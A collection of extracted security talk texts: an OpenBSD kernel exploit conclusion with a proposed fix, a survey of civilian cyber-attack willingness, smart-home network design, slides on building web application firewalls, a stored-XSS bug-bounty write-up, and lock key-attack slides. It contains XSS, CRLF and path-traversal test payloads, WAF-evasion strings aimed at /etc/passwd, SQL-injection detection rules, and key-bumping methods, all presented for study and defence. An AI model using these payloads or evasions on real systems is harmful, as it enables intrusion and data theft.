chains, etc Figure 5: OpenBSD Kernel CS selector modification 9 Proposed Protection A possible fix to this type of vulnerability is to implement a kind of protec- tion similar to WˆX but on the kernel-level. This is already done on some architectures, but not in the more popular i386. A quick fix to the OpenBSD kernel is possible and is proposed in this section. We can see on the listing 4, the initial bootstrap selector setup, done on the init386() function. The interesting ones are the GCODE SEL and the GICODE SEL, the Kernel-mode and Interrupt-mode code selector setup repectively. We can see that these selectors are 4 GB in size each, but we could reduce this length so the memory above the kernel binary is not executable. The kernel-image starts at 0xD0000000, and is aproximately 6 MB length. We can shrink the Code selector (And the Interrupt Code Selector too, or hardware interrupts will be unprotected) to the 0xD1000000 (see Figure 5), leaving plenty of space for the kernel to execute. As the mbufs structures and kernel stack begins at 0xD2000000, the exploit described in this article will not execute with this patch: sys/arch/i386/i386/machdep.c - setsegment(&gdt[GCODE_SEL].sd, 0, 0xfffff, SDT_MEMERA, SEL_KPL, 1, 1); - setsegment(&gdt[GICODE_SEL].sd, 0, 0xfffff, SDT_MEMERA, SEL_KPL, 1, 1); + setsegment(&gdt[GCODE_SEL].sd, 0, 0xd1000, SDT_MEMERA, SEL_KPL, 1, 1); + setsegment(&gdt[GICODE_SEL].sd, 0, 0xd1000, SDT_MEMERA, SEL_KPL, 1, 1); 21 10 CONCLUSION Listing 4: bootstrap selectors setup sys / arch / i386 / i386 /machdep . c void i n i t 3 8 6 ( paddr t f i r s t a v a i l ) { . . . /∗ make bootstrap gdt g a t e s and memory segments ∗/ setsegment (&gdt [GCODE SEL ] . sd , 0 , 0 x f f f f f , SDT MEMERA, SEL KPL , 1 , 1 ) ; setsegment (&gdt [ GICODE SEL ] . sd , 0 , 0 x f f f f f , SDT MEMERA, SEL KPL , 1 , 1 ) ; setsegment (&gdt [GDATA SEL ] . sd , 0 , 0 x f f f f f , SDT MEMRWA, SEL KPL , 1 , 1 ) ; setsegment (&gdt [ GLDT SEL ] . sd , ldt , s i z e o f ( l d t ) − 1 , SDT SYSLDT, . . . } void setsegment ( sd , base , l i m i t , type , dpl , def32 , gran ) struct s e g m e n t d e s c r i p t o r ∗sd ; void ∗ base ; s i z e t l i m i t ; int type , dpl , def32 , gran ; We replace the 0xfffff limit10 with a more conservative 0xd1000. This simple modification adds some protection to kernel attacks that place the shellcode on the kernel stack or kernel memory structures. This simplistic solution doesn’t take into account a lot of kernel mechanisms, like the loadable kernel modules, that will not execute in this scenario. 10 Conclusion Writing this ShellCode we learned that Kernel-mode programming is a very different beast that user-mode, and even with a great debugging environment like the one provided with OpenBSD 11 unexpected things are bound to happen. On the assembly side, we learnt to use instructions and CPU features used only by operating system’s engineers and low-level drivers. On the security side, we can conclude that even the most secure and audited system contains bugs and can be exploited. It’s almost certain that new and complex software modules like an IPv6 stack contain bugs. Finally, this exploit wouldn’t be possible if kernel protections were in place on OpenBSD. Against user bugs, user-mode protections are very effective, but proved totally innocuous for kernel-mode bugs. Adding kernel-mode protections is difficult on the i386 platform, but will be necessary on future 10The limit is in 4Kb Pages, so 0xfffff covers the 4 GB address space 11Using the DDB kernel debugger. 22 REFERENCES LISTINGS kernels, and more so on security-oriented products. We presented a generic kernel shellcode technique, not in theory but a real attack. And because the basic internal structures are similar between the major operating systems, with some modificatios this kind of kernel attack could work also on other BSDs, Linux or Windows. References [1] Original Core Security Advisory http://www.coresecurity.com/ in- dex.php5?module=ContentMod&action=item&id=1703 [2] OpenBSD Home Page http://www.openbsd.org/ [3] T. de Raadt- Exploit mitigation Techniques http://www.openbsd.org /papers/ven05-deraadt/index.html [4] Future direction of PaX http://pax.grsecurity.net/docs/pax-future.txt Listings 1 mbuf structure definition . . . . . . . . . . . . . . . . . . . . . 3 2 m dup1() overflow instruction . . . . . . . . . . . . . . . . . . 5 3 m ext structure definition . . . . . . . . . . . . . . . . . . . . 6 4 bootstrap selectors setup . . . . . . . . . . . . . . . . . . . . . 22 23
pdf
Assessing Civilian Willingness to Participate in On-line Political and Social Conflict 1 Tom Holt, Ph.D. Assistant Professor Michigan State University Spartan Devils Honeynet Chapter Max Kilger, Ph.D. Profiler The Honeynet Project Political Conflict On and Off-Line 2 • There has been significant attention in popular media on the role of technology in political conflict across the globe over the last few years • The Danish Cartoon Attacks • Russia/Estonia Conflict • Egypt • Iran • “Operation Payback” Anonymous attacks Political Conflict On and Off Line • Asymetric warfare and civilian attack is now a realistic and cost-effective attack vector – Restructuring power relationships between the individual and the nation-state • Technology is a useful mechanism for several reasons – Near real time communication – Potential level of damage can be significant – Low cost – Anonymity – Minimal legal risk depending on activity 3 Preliminary Data and Model Statistical Model Building • We are starting to get some preliminary data – Respondents are undergrad and grad students at a large Midwest university • Also beginning to build some preliminary statistical models • We’re looking for other universities to collaborate with for cross-national comparisons 4 Different Social Dimensions Under Investigation as Related to Civilian Cyber Warrior Behavior • Civilian Cyber Warrior study is concentrating on.. – Dependent variables • Willingness to commit acts of cyber terror against another country • Willingness to commit acts of cyber terror against their own country • Willingness to commit acts of physical terror against another country • Willingness to commit acts of physical terror against their own country 5 Physical Attack Scale Against Foreign Country • Imagine that the country of Bagaria has recently promoted national policies and taken physical actions that have had negative consequences to the country that you most closely associate as your home country or homeland. These policies and actions have also resulted in significant hardships for the people in your home country. • What actions do you think would be appropriate for you to take against Bagaria given their policies and physical actions against your home country? You may choose as many actions as you think the situation warrants. In this scenario, you may assume that you have the necessary skills to carry out any of the actions below. 6 Do nothing let your country work it out on its own 151 42.30% Write a letter to government of Bagaria protesting their actions 192 53.78% Participate in a protest at an anti-Bagaria rally 207 57.98% Travel to Bagaria and protest at their countrys capitol building 90 25.21% Travel to Bagaria and confront a Bagarian senior government official about their policies 68 19.05% Travel to Bagaria and sneak into a military base to write slogans on buildings and vehicles 7 1.96% Travel to Bagaria and physically damage an electrical power substation 8 2.24% Travel to Bagaria and damage a government building with an explosive device 2 0.56% Cyber Attack Against Foreign Country • Aside from physical activity, what on-line activities do you think would be appropriate for you to take against Bagaria given their policies and physical actions against your home country? You may choose as many actions as you think the situation warrants. In this scenario, you may assume that you have the necessary skills to carry out any of the actions below 7 Do nothing let your country work it out on its own 140 39.22% Post a comment on a social networking website like Facebook or Twitter that criticizes the Bagarian government 272 76.19% Deface the personal website of an important Bagarian government official 41 11.48% Deface an important official Bagarian government website 39 10.92% Compromise the server of a Bagarian bank and withdraw money to give to the victims of their policies and actions 18 5.04% Search Bagarian government servers for secret papers that you might be able to use to embarrass the Bagarian government 35 9.80% Compromise one or more Bagarian military servers and make changes that might temporarily affect their military readiness 24 6.72% Compromise one of Bagarias regional power grids which results in a temporary power blackout in parts of Bagaria 11 3.08% Compromise a nuclear power plant system that results in a small release of radioactivity in Bagaria 1 0.28% Physical Attack Scale Against Homeland • Imagine that the country that you most closely associate as your home country or homeland has recently promoted national policies and taken physical actions that have had negative consequences to your home country. These policies and actions have resulted in significant hardships for the people in your home country. • What actions do you think would be appropriate for you to take against your home country given their policies and physical actions? You may choose as many actions as you think the situation warrants. In this scenario, you may assume that you have the necessary skills to carry out any of the actions below. 8 Do nothing let your country work it out on its own 116 32.49% Write a letter to your home country's government protesting their actions 248 69.47% Participate in a protest against your home country at an anti-government rally 223 62.46% Protest at your home countrys capitol building 194 54.34% Confront one of your home contry's senior government official about their policies 107 29.97% Sneak into a military base in your home country to write slogans on buildings and vehicles 10 2.80% Physically damage an electrical power substation in your home country 6 1.68% Damage a government building in your home country with an explosive device 3 0.84% Cyber Attack Against Homeland • Aside from physical activity, what on-line activities do you think would be appropriate for you to take against your home country given their policies and physical actions? You may choose as many actions as you think the situation warrants. In this scenario, you may assume that you have the necessary skills to carry out any of the actions below. 9 Do nothing let your country work it out on its own 131 36.69% Post a comment on a social networking website like Facebook or Twitter that criticizes your home country's government 276 77.31% Deface the personal website of an important government official for your home country 47 13.17% Deface an important official government website for your home country 43 12.04% Compromise the server of a bank and withdraw money to give to the victims of the government's policies and actions 15 4.20% Search your home country's government servers for secret papers that you might be able to use to embarrass the government 35 9.80% Compromise one or more of your home country's military servers and make changes that might temporarily affect their military readiness 16 4.48% Compromise one of your home country's regional power grids which results in a temporary power blackout in parts of your home country 6 1.68% Compromise a nuclear power plant system that results in a small release of radioactivity in your home country 3 0.84% Different Social Dimensions Under Investigation as Related to Civilian Cyber Warrior Behavior • Civilian Cyber Warrior study is concentrating on.. • Independent predictor variables including – Level of skill – Level of emotive national identity – Level of nationalistic ethnocentrism – Level of antagonism towards outgroups – Level of belief in equality for groups – Level of piracy of software and media – Homeland – US or non-US declared as homeland – Demographics 10 Independent Variables • Emotive National identity – I am proud to be a citizen of my home country. – In a sense I am emotionally attached to my home country and am emotionally affected by its actions. – Although at times I may not agree with the government, my commitment to my home country always remains strong. – I feel a great pride in the land that is my home country. – When I see my home country's flag flying I feel great. – The fact that I am a citizen of my home country is an important part of my identity. 11 Independent Variables • Belief in Group Equality – It would be good if groups could be equal. – Group equality should be our ideal. – All groups should be given an equal chance in life. – We should do what we can to equalize conditions for different groups. – We would have fewer problems if we treated people more equally. – We should strive to make incomes as equal as possible. – No group should dominate in society. 12 Independent Variables • Outgroup Antagonism – Some groups of people are simply inferior to other groups. – If certain groups stayed in their place, we would have fewer problems. – It's probably a good thing that certain groups are at the top and other groups are at the bottom. – Inferior groups should stay in their place. – Sometimes other groups must be kept in their place. 13 Independent Variables • Nationalistic Ethnocentricity – Other countries should try to make their government as much like my home country's government as possible. – Generally, the more influence my home country has on other nations, the better off they are. – Foreign nations have done some very fine things but my home country does things in the best way of all. • Age • Gender 14 Independent Variables – What country do they consider their homeland? • United States • Non-United States • Pirating software or media – Two separate questions “How many times in the last 12 months have you knowingly downloaded, used, or made copies of… software … media” • Computer Skill – Advanced Skill Factor – Using an operating system like Unix or Linux – Using a standard computer programming or scripting language like C++, Perl, or Java – Installing an operating system like Unix or Linux 15 Predicting Cyber Attack Against Homeland • Using these independent variables in a multiple regression analysis, it appears that four factors predict cyber attacks against their homeland – Emotive national identity** • Negative relationship – less emotional identity equals more severe cyber attack magnitude – Homeland support* • Non-US homeland individuals more severe cyber attack than US homeland individuals – Willingness to perform a physical attack*** • Positive relationship – more severe physical attack means more severe cyber attack – Pirate software or media*** • Positive relationship – more piracy activity means more severe cyber attack 16 Predicting Physical Attack Against Homeland • Using these independent variables in a multiple regression analysis, it appears that five factors predict physical attacks against their homeland – Advanced cyber skills* • Positive relationship - the higher the technical skills of the individual the more severe the physical attack – Homeland support* • US homeland individuals more severe physical attack than non-US homeland individuals – Willingness to perform a cyber attack*** • Positive relationship – the more severe the physical attack means the more severe cyber attack contemplated – Pirate software or media*** • Positive relationship – more piracy activity means more severe cyber attack 17 Predicting Physical Attack Against Homeland • Using these independent variables in a multiple regression analysis, it appears that five factors predict physical attacks against their homeland – Outgroup antagonism* • Negative relationship - the lower level of antagonism towards groups not like themselves, the more severe the physical attack • That is, the more sympathetic to groups of people unlike themselves, the more severe the physical attack on their own homeland – “the activist effect” 18 Next Steps • Work on building foreign country cyber and physical attack statistical models • Continue to gather more data and refine analyses • Encourage collaboration in collecting data from other universities both in the US and other countries – Other country data useful for cross-national comparisons 19 Contact Information • Tom Holt – holtt @ msu.edu • Max Kilger – maxk @ smrb.com 20
pdf
1 企业、家庭智能家居安全解决⽅案 设计背景 智能家居品牌选择与⽤途 ⽹络架构设想图 拓扑图实现效果 关于IOT设备的漏洞 autor:枕边⽉亮 随着IOT技术的发展,智能家居逐渐普及化。⽬前的智能家居⽅案也含盖了很多⽅⾯,⽐如智能中控、智能 ⻔禁、智能灯光系统、智能窗帘系统、智能家电控制系统、智能暖通系统、智能安防系统、智能影⾳、甚 ⾄拓展到了智能晾⾐、智能厨电等等。随着IOT设备的增多,对宽带、路由器要求逐渐提升,部分低端路由 器与⽹关设备⽆法满⾜⼤量设备的承载与连接。同时物联⽹设备安全没有引起明显重视,安全问题层出不 穷,于是⾃⼰尝试部署后,于是有了这⼀篇解决⽅案。 ⽬前我⽐较推荐的品牌有:⼩⽶、homekit、超级智慧家、艾特智能等等。⼤部分⼚家智能家居体系完整 并且兼容其他第三⽅设备,对于⼤型企业来讲,需要⽤到智能家居的地⽅如公司⽣活区、⻔禁、中央空调 等等,以及⼀些主打智能家居的连锁酒店。对于家庭⽽⾔,覆盖⾯可以达到某⼀个家⽤电器。 以⼩⽶为例,可以兼容的第三⽅IOT设备上百家: 设计背景 智能家居品牌选择与⽤途 3 4 ⽹络架构设想图 5 智能家居⽹络架构设想图 1. 关于光猫 ⽬前电信的光猫型号众多,基本上都是千兆光猫,此时只需要关注光猫后⾯的接⼝,部分光猫是全千兆接 ⼝,部分只有1个⼝是千兆接⼝,如果宽带超过100mbps就需要注意⽹线不能插在百兆⼝上,可以使⽤交换 机拓展千兆⼝。还需要注意的是光猫后⾯有⼀个IPTV⼝是⽤于电视的,这个不能插错。参考下图: 6 电信光猫接⼝示意图 2. 关于⽹络设备(防⽕墙、⽹关、路由器) 家庭使⽤可以直接购买⼯控机或者三合⼀的路由器,最好是⾼端路由,建议华硕或者⽹件的⾼端家⽤型 号。如果采⽤⼯控机三合⼀,建议采⽤2H2G及以上的配置。系统刷为openwrt、ikuai、ros、lede等系 统。具备了⽹关、防⽕墙、路由的功能。 7 openwrt 家⽤级产品配置: ⼯控机性能的三合⼀产品 安装openwrt、ikuai等系统时需要注意单独配置后再接⼊光猫,lan1⼝不能设置为192.168.1.1,不然会与 光猫IP产⽣冲突。具体IP划分可以⾃⾏决定。提前在系统上划分路由或者vlan: 如果是光猫拨号wan⼝需要设置为DHCP动态获取: 8 如果是企业使⽤建议三者分开为三个单独的⽹络设备以具备更强⼤的性能。根据企业规模⼤⼩、设备数 量、⽹络环境购置千兆甚⾄万兆⽹络设备: 9 企业级产品 3. 关于AP的选择 10 AP的选择家⽤级可以采⽤华硕、⽹件的中⾼端型号。可以承载更多的设备并保证⽹络的稳定性。普通的家 ⽤路由器经常会出现断流的情况。 华硕路由器 企业级⽤户⼀般采⽤⾼端的H3C型号与⽹件等等,具备更强的承载能⼒。 这⾥的AP有两种选择,可以为NAT模式,可以为AP。 采⽤NAT模式安全性会更强⼀点,AP也可以划分VLAN,服务器与WIFI单独的⽹段,访客WIFI单独的⽹段 等等。确保⼀定的隔离。 4. 其他设备 服务器可以采⽤exsi,在exsi的基础上部署其他服务,⽐如内⽹态势感知、内⽹资产管理、弱点扫描等。 有很多开源的解决⽅案可以选择。 我的IPTV是直接接⼊的是电视机,中间没有任何设备。 IOT⽹关是单独接在路由器下⾯的,是单独的VLAN,确保安全性。IOT⽹关主要控制智能家居。IOT的部分 品牌⽹关也有物联⽹卡,可以直接访问相应的智能家居云服务,通过⼿机APP控制智能设备,也可以通过 互联⽹出⼝⽹络连接家庭智能家居云服务。 企业与家庭物联⽹可以采⽤类似这样的解决⽅案。 5. 内⽹安全性 家庭⽤户可以直接采⽤虚拟化的⽅式部署⼀些开源安全产品,⽤于监测⽹络、漏洞扫描、资产管理。 企业级⽤户采⽤企业级的防⽕墙、态势感知、WAF等等⼿段⽤于内⽹防护。 拓扑图实现效果 11 流量监测 三合⼀设备资源占⽤情况 线路监控 12 协议监控 ACL按照⾃⼰需求设置 访客⽹络路由器⾃带 30个物联⽹设备+3个传感器 13 ⽹关控制的设备 相⽐于传统安全,IOT的设备漏洞主要出现在不安全的配置、固件安全问题、APP端越权等等。特别是⼀些 ⼩⼚商的IOT设备存在诸多的安全问题,在内⽹环境中做好物联⽹设备的隔离与基线控制,可以确保⼀定的 安全性。 关于IOT设备的漏洞
pdf
1 Implementation of Implementation of Web Application Firewall Web Application Firewall OuTian < OuTian <outian@chroot.org outian@chroot.org> > 2 Introduction Introduction Abstract • Web 層應用程式之攻擊日趨嚴重,而國內多 數企業仍不知該如何以資安設備阻擋,仍在採 購傳統的 Firewall/IPS ,因此本場次即對 Web Application Firewall( 以 下 簡 稱 WAF)之功能、及實作方式作介紹 About OuTian • 現任 敦陽科技 資安顧問 • 滲透測試服務與後續資安規劃 • 資安事件鑑識處理 3 Agenda Agenda Introduction to WAF General Web Vulnerabilities Functions Implementation Common Questions Evasion Conclusion Q & A 4 Introduction to WAF Introduction to WAF 5 Introduction to WAF Introduction to WAF What is WAF Why WAF Vendors Structure WAF v.s Network Firewall WAF v.s IPS 6 What is WAF What is WAF An intermediary device, sitting between a web-client and a web server, analyzing OSI Layer-7 messages for violation in the programmed security policy. A web application firewall is used as a security device protecting the web server from attack. 7 Why WAF Why WAF Web AP 成為 顧客/駭客 共同入口 • 根據Gartner統計: 成功的惡意攻擊中,70% 都是針對 Web AP 8 既有的資安設備無法有效阻擋 既有的資安設備無法有效阻擋 9 SSL SSL 加密, 加密,IDS/IPS IDS/IPS也看不懂 也看不懂 Internet Corporate LAN Application Infrastructure IP Traffic HTTP HTTPS 合法使用者 網際網路駭客 來源 目的 服務 動作 Any Web Server 1 HTTP/S 合法接受 10 Web AP Web AP 安全來源的複雜性 安全來源的複雜性 • 複雜之 AP Source Code • 開發者多數僅注重功能 • 類似的安全問題重複發生 • 其他引用來源所累 11 Vendors Vendors Breach Citrix F5 Imperva NetContinuum WebScurity 12 Structure Structure Host Based • Web Server module/plugin • Special program compiler Network Based • Appliance • Deployed as Reverse Proxy In-Line Mode Web Traffic Monitor • SSL Handshaking 13 WAF WAF v.s v.s Network Firewall Network Firewall WAF WAF Protect at Layer 7 Check http/s data Block http/s traffic with malicious attack Decrypt https packets Inspect http/html Network Firewall Network Firewall Protect at Layer 3 check IP and PORT Always allow http/s traffic even with malicious attack Unable to decrypt https packet No action to http/html 14 WAF WAF v.s v.s IDS/IPS IDS/IPS WAF WAF Positive Security Model Behavior Modeling Fully SSL decryption Track cookie/form IDS/IPS IDS/IPS Negative Security Model Signature based Typically no SSL decryption No check to cookie/form 15 General Web Vulnerabilities General Web Vulnerabilities 16 General Web Vulnerabilities General Web Vulnerabilities Web Application Design Error • Buffer Overflow • SQL Injection • Cross Site Scripting • Arbitrary File Inclusion • Code Injection • Command Injection • Directory Traversal 17 Logic Design Error • Cookie Poisoning • Parameter Tampering • Session Mis-Management • Upload File Mis-Handling • Information Disclosure • Weak Authentication 18 OWASP top 10 2007 OWASP top 10 2007 Cross Site Scripting Injection Flaws Malicious File Execution Insecure Direct Object Reference Cross Site Request Forgery 19 Information Leakage and Improper Error Handling Broken Authentication and Session Management Insecure Cryptographic Storage Insecure Communications Failure to Restrict URL Access 20 SQL Injection Example SQL Injection Example 21 22 23 Cross Site Scripting Example Cross Site Scripting Example 24 Arbitrary File Inclusion Example Arbitrary File Inclusion Example 25 Functions Functions 26 Functions Functions Input Validation • URL • Buffer Overflow • Form Field Consistency • Form Field Format • Cookie Consistency • SQL Injection • Cross Site Scripting Output Checks 27 URL URL Check Allowed URL Resource Deny some file extensions • .phps • .inc • .sql • .core • .exe • .log 28 Buffer Overflow Buffer Overflow Limit maximum length of data • URL • Headers • Cookie • POST parameter • POST data 29 Form Field Consistency Form Field Consistency Avoid Parameter Tampering Track Form field content • select • ratio button • check box hidden value 30 Cookie Consistency Cookie Consistency Avoid Cookie Poisoning When web server Set-Cookie to client, WAF will track it to determine if modified by attacker 31 Field Format Field Format User Input : GET/POST/Headers/Cookie Most effective way to avoid injection ! Positive check Use Regular Expression to limit • uid => ^[0-9]+$ • username => ^[\w\d]$ • id => ^\w[0-9]{9}$ 32 SQL Injection SQL Injection Negative check Scan for suspicious SQL character or SQL syntax • ‘ • select/delete/update/insert • union/where/having/group • exec • -- • /* 33 Cross Site Scripting Cross Site Scripting Negative check Scan for suspicious client side script/html injection • <script> • <[\w]+ • <.+> 34 Implementation Implementation 35 Implementation Implementation Apache Mod_security Mod_proxy • mod_proxy_http • mod_proxy_connect • mod_proxy_balancer • mod_proxy_ajp Mod_cache 36 Mod_security Mod_security Open Source project : http://www.modsecurity.org/ Embedded in apache web server Inexpensive and easy to deploy since no change to the network But must install/config to each web server 37 Features (1) Features (1) Input validation check for all client input data Output check also available Buffer overflow protection Flexible • Regular Expression based rule engine • Different apps with different policies 38 Features (2) Features (2) Anti-Evasion built in Upload file interception and real- time validation Encoding validation built in Up on attack detection, variety action to do : Log/Alert/Block/…call scripts 39 Basic configuration concept Basic configuration concept WHEN • found matched url/header/client/time DO • Check data THEN • Deny/pass/redirect/exec/… Chain Rules 40 Configuration Examples (1) Configuration Examples (1) Avoid SQL Injection • SecRule ARGS “(insert|select|update|delete)” deny Avoid HTML tags injection • SecRule ARGS “<.+>” deny Avoid Directory Traversal • SecRule “\.\./” deny 41 Configuration Examples (2) Configuration Examples (2) Limit Login ip for admin • SecRule ARG_username “^admin$” chain • SecRule REMOTE_ADDR “!^192.168.0.1$” deny Hide Server Signature • SecServerSignature “MyWeb/1.0” 42 Configuration Example (3) Configuration Example (3) Avoid output credit card number • SecRule OUTPUT “\d{4}-\d{4}- \d{4}-\d{4}” “deny,phase:4” Avoid output php error message • SecRule OUTPUT “Warning:” “deny,phase:4,exec:mailadm.pl” Avoid output asp error message • SecRule OUTPUT “ODBC Drivers” “deny,phase:4,exec:mailadmin.pl” 43 Configuration Example (4) Configuration Example (4) chroot apache • SecChrootDir /chroot/apache Buffer overflow protection • SecFilterByteRange 32 126 44 Mod_proxy Mod_proxy Mod_proxy_http • Proxy http request Mod_proxy_connect • Handel CONNECT http method Mod_proxy_balencer • Load sharing for server farms Mod_proxy_ajp • Support for apache jserv protocol Mod_proxy_ftp • Support proxying ftp sites 45 Mod_cache Mod_cache Mod_file_cache • Offers file handle and memory mapping tricks to reduce server load Mod_disk_cache • Implement disk based cache, content is stored in and retrived from the cache using URI based keys Mod_mem_cache • Caching open file descriptors and caching objects in heap storage 46 Common Questions Common Questions 47 Common Questions Common Questions To see real client IP in Web AP and server logs L4 Devices sticky client by source ip 48 To see real client IP (1) To see real client IP (1) Environment – • Client ip : w.x.y.z • WAF external ip : a.b.c.d • WAF internal ip : 192.168.0.254 • Web server ip : 192.168.0.1 • Domain name : www.abc.com => a.b.c.d 49 To see real client IP (2) To see real client IP (2) (HTTP Header) GET / HTTP/1.1 Host: www.abc.com ........ (IP Header) w.x.y.z => a.b.c.d Client w.x.y.z WAF External IP : a.b.c.d 50 To see real IP (3) To see real IP (3) WAF Internal IP : 192.168.0.254 (HTTP Header) GET / HTTP/1.1 Host: www.abc.com X‐CLIENT‐IP: w.x.y.z …….. (IP Header) 192.168.0.254 => 192.168.0.1 Oh , According to  IP Header , client  ip is  192.168.0.254 Wrong ! 51 To see real IP To see real IP -- solution solution Web AP : • Rewrite to fetch real ip from http header Web Server Logs : • Apache – LogFormat/module • Tomcat – log pattern • IIS – IIS Filter 52 Sticky client Sticky client In most web AP, if web servers keep data in sessions on local disk, L4 devices must “sticky” the client in the same server, or the session may not be found. After deploying the WAF as reverse proxy, all source will from WAF, and make all clients sticky into the same servers, then make it overloaded. 53 Sticky client Sticky client -- solution solution Set L4 Devices to sticky client by recognizing other data instead of source ip • Ex: Cookie - PHPSESSID JSESSIONID ASPSSSID Set L4 to insert another cookie for sticky 54 Evasion Evasion 55 Evasion Evasion Simple Evasion Technique Path Obfuscation URL Encoding Unicode Encoding Null-Byte Attacks 56 Simple Evasion Technique Simple Evasion Technique Using mixed characters • In Microsoft Windows , test.asp == TEST.ASP Character escaping • In some case , a = \a Using whitespace • In SQL , delete from == delete from 57 Path Obfuscation Path Obfuscation Self-referencing directories • /test.asp == /./test.asp Double slashes • /test.asp == //test.asp Path traversal • /etc/passwd == /etc/./passwd • /etc/passwd ==/etc/xx/../passwd Windows folder separator • ../../cmd.exe == ..\..\cmd.exe 58 URL Encoding URL Encoding Path Encoding • /test.asp == /%74%65%73%74%2E%61%73 %70 Parameter Encoding • ?file=/etc/passwd == ?file=%2F%65%74%63%2F%70 %61%73%73%77%64 59 Unicode Encoding Unicode Encoding Overlong characters 0xc0 0x8A == 0xe0 0x80 0x8A == 0xf0 0x80 0x80 0x8A == 0xf8 0x80 0x80 0x80 0x8A Unicode Encoding /test.cgi?foo=../../bin/ls == /test.cgi?foo=..%2F../bin/ls == /test.cgi? foo=..%c0%af../bin/ls 60 Null Null--Byte Attacks Byte Attacks Null Byte (0x00) is used for string termination Some checks stop when found null byte Ex: to evade /etc/passwd check • /test.asp?cmd=ls%00cat%20/etc/ passwd 61 Conclusion Conclusion 62 Conclusion Conclusion In general, Web Application Firewall is the most effective solution for defending web attacks, but the most important of all – you must have enough knowledge to set up it correctly ! It’s complex to config it well, but we must do it ! 63 Open Source WAF solution is much cheaper than commercial devices, but you must control everything by yourself. Nothing could guarantee 100% perfect protection ! 64 DEMO DEMO 65 Q & A Q & A
pdf
在不久前参加了一次众测项目,需对某厂商的系统进行漏洞挖掘 在测试一套系统时,发现了很有意思的接口,可以操作另外两个站的输出点,以此导 致多处 XSS 触发 0x01:初探 Vulnerabilities 系统的 URL 是这样的:https://xxx.com/passport/?fromUrl=https://xxx.com/ 显然这样的 url 容易出现 Open Redirect XSS CRLF 注入的漏洞,其次还有以下这样 的参数: redirect ref redirect_to redirect_url url jump jump_to target to link linkto domain server 比较随意的测试一番 https://xxx.com/passport/?fromUrl=https://www.baidu.com https://xxx.com/passport/?fromUrl=https://www.baidu.com.eval.com https://xxx.com/passport/?fromUrl=https://www.baidu.com@www.eval.com https://xxx.com/passport/?fromUrl=javascript:alert(1) https://xxx.com/passport/?fromUrl=xxxx%0D%0ASet-Cookie:hacker=crlf (CRLF 注入是否存在,查看 cookie 值是否包含 hacker=crlf 字样即可) 简单测试后发现并没有触发以上的漏洞 So 只能深入到系统的功能点和接口做测试 0x02:深入虎穴 这边登录至系统进一步挖掘 (PS:登录后系统提示需要填写 xxx 信息,这样的情况我个人习惯会插 入”><img/src=1>进行注册) 经过前期的信息收集下,使用子域名爆破工具,成功枚举出 h5.xxx.com 这样的手机 端网站 由于我们目前处于 xxx.com 这个域内的登录状态,所以我现在访问: https://h5.xxx.com/ 也是一样处于登录状态(这种情况在大厂商中的账号登录以及一 些 SSO 单点中较为常见) 点击右上方“我的” 进入个人中心页面 这边跳转进入到个人中心 看到个人资料这一功能,这代表着 可能存在 Ø 修改资料导致 XSS Ø 越权修改他人资料信息 Ø 删除他人信息 Ø 替换某参数的值越权查看他人资料 等等…..一系列的逻辑问题 这边修改个人资料并且使用 XSS 镶入页面的上下文 x"><svg/onload=alert(1)> 截图的时候忘记把 payload 改过来了 将就看看 :) 保存后,发现对用户名有限制,通过 burpsuite 修改返回包,但是无果 So 只能重新填写打一遍了,只修改简介里为 payload 昵称任意填写 最后成功在个人资料的简介里插入代码:https://user.xxx.com/h5/myUserInfo/ 从上述来看 并没有太大用处 后续在想能否找到让他人通过我的个人资料 ID 值就可以预览到我的资料呢? 利用 BurpSuite 爬虫功能爬取了页面上的功能点接口 最终在 https://h5.xxx.com/book/xxxx.html 的书籍作者中,找到了可以查询笔者的 接口 https://user.xxx.com/see/h5/1574.html 拼接我个人资料的 ID 值 试试水: https://user.xxx.com/see/h5/1548888.html 本来以为很容易就挖掘到存储 XSS 了,但事实并非如此,找到个人资料接口访问后, 那个简历的信息并没有展示在页面的上下文 只显示了 我当时登录系统的作者笔名 从上所述分析,现在只需要找到一处可以修改作者笔名的功能,并且不限制输入字数 的,那么便有机会触发存储 XSS 经过一番接口爬取下 and 目录扫描,最终找到了一处没有任何过滤机制的网站下成功 修改到了作者笔名:https://user.xxx.com/www/ 修改作者笔名的接口较为隐蔽,藏在这个作者资料中。。 (因为上述联动了几个网站,我以为这个作者资料是修改的本站账号信息,后来发现 这个接口,可以让前面系统上的笔名同时生效) https://user.xxx.com/www/userinfo/contact.html 那么这里就根据规定填写资料就可以了,重点就是在作者笔名中插入 payload 点击保存设置进行盲打! 最后就是到了见证奇迹的时候了。 在本站点中:https://user.xxx.com/www/xxx/?xx=1548888 触发漏洞 然后,回到上述步骤中,访问所拼接获得的个人资料 url 地址 接口一:https://user.xxx.com/see/h5/1548888.html 访问后发现上下文中并没有执行 Javascript 但是通过“TA 的荣誉”可以让漏洞成功触发(也就是接口二) 接口二:https://user.xxx.com/see/h5/xxx.html?id=1548888 访问后成功触发漏洞 当用户在浏览我的荣誉时,这个 xss 就会触发,构造恶意 JS 即可盗取信息 回到最上面的注册系统中,它其中还包含一个后台: https://author.xxx.com/ 在一处上下文中也成功触发了 0x03:总结 该漏洞本无法利用,但细心挖掘则通过一处致命的修改功能达到想要的成果 1、初探安全漏洞 2、深入挖掘功能点 3、巧用 BurpSuite 爬取页面上的 URL 4、寻找漏洞可能会触发的位置
pdf
Attack the Key Own the Lock by datagram & Schuyler Towne Defcon 18 (2010) Las Vegas, NV About Us  Datagram – Forensic locksmith – Douchebag – No game shows :(  Schuyler – TOOOL US – NDE Magazine – Wheel of Fortune How Locks Work How Locks Work How Locks Work How Locks Work Key Control  Availability of blanks  Distribution  Duplication/simulation Attacking the Key  Bitting depths/code  Keyway  Model of the lock  Additional security features Physical Access to Keys  Holy Grail  Duration = Attack Quality  Wrist Impressioning Direct Measurement  Key gauges  Micrometer  Calipers Copy Impressioning Copy Impressioning Visual Access to Key  Sight reading  Estimation  Photography Visual Access – UCSD Visual Access - Diebold Visual Access – NY MTA Key Blanks  Impressioning  Overlifting  “Reflecting” keys  Sectional keyways  Rake keys  Key bumping Universal Handcuff Keys Overlifting Overlifting Rake/Gypsy Keys Impressioning Impressioning Works Forever! Reflecting Keys Sectional Keyways Sectional Keyways Incorrect Key  Master key decoding  Bumping  Skeleton keys  Sidebar attacks  Passive component bypasses  Decoding attacks Master Key Systems Master Key Systems Master Key Systems Master Key Systems Master Key Systems Key Bumping  Basic physics  Specialized key  Easy, effective  Vendor response Pick Gun Mechanics How Bumping Works Creating Bump Keys  Any key that fits  Cut “999” key (deepest pin depths) − Use key gauges  Cut with − Hand file, dremel, key cutter Bump Keys Key Bumping Key Bumping 100% 